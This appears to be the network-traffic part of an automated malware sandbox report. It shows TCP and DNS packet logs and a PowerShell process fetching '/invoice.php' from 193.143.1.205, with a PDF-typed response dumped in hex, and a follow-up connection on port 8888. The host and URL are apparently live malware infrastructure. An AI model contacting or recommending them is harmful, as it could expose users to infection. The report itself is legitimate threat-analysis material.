Jan 10, 2025 23:38:20.873529911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873534918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873564959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873599052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873601913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873635054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873672962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873675108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873703957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873744011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.923708916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.928989887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929080009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929117918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929138899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929152966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929188967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929209948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929224014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929284096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929297924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929322004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929366112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929373026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929408073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929442883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929447889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929477930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929533005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929538012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929574013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929621935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929652929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929687023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929721117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929734945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929757118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929806948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929810047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929862022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929896116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929913998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.929940939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929975986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.929987907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930011988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930062056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930068016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930103064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930138111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930139065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930176020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930188894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930227041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930243015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930282116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930289030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930322886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930356979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930362940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930404902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930439949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930447102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930474997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930510998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930524111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930558920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930605888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930613041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930649042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930701971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930706024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930736065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930794001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930800915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930845976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930880070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930890083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.930917978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930952072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.930962086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931001902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931037903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931047916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931073904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931109905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931113958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931145906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931180954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931193113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931221008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931231022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931265116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931272030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931299925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931308031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931368113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931402922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931413889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931461096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931507111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931514978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931550980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931583881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931598902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931618929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931660891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931670904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931705952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931740046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931750059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931772947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931812048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931818962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931843996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931864023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931896925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931920052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931948900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.931948900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.931983948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932020903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932025909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932073116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932107925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932116032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932143927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932183027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932197094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932216883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932251930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932265043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932286024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932320118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932341099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932354927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932391882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932399035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932426929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932466030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932478905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932512999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932547092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932557106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932580948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932616949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932631969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932651997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932686090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932693005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932719946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932754040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932776928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932810068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932818890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932826042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932861090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932862043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932887077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932895899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932929039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932944059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.932962894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.932996035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933006048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933032990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933067083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933069944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933100939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933135033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933139086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933170080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933204889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933211088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933240891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933259964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933275938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933295012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933314085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933342934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933348894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933387041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933393955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933422089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933459044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933490038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933492899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933527946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933536053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933562040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933598042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933615923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933650017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933686972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933697939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933701992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933733940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.933734894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.933782101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:21.275079966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:21.282833099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:21.563231945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:23.109388113 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:23.114559889 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:23.114672899 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:23.114830971 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:23.119720936 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:23.931267023 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:23.974445105 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:24.555423021 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:38:36.112272978 CET	57368	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:38:49.874952078 CET	64764	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:39:02.298341036 CET	60604	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:38:36.112272978 CET	192.168.2.5	1.1.1.1	0x7278	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:49.874952078 CET	192.168.2.5	1.1.1.1	0xda1d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:39:02.298341036 CET	192.168.2.5	1.1.1.1	0xfae6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 23:38:36.119401932 CET	1.1.1.1	192.168.2.5	0x7278	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:38:49.883227110 CET	1.1.1.1	192.168.2.5	0xda1d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:39:02.306924105 CET	1.1.1.1	192.168.2.5	0xfae6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2788	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:38:19.352736950 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:38:20.148648977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:38:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:38:20.148683071 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:38:20.148742914 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:38:20.148758888 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:38:20.148776054 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 23:38:20.148792028 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:38:20.148808002 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 23:38:20.148823023 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 23:38:20.148839951 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 23:38:20.148855925 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
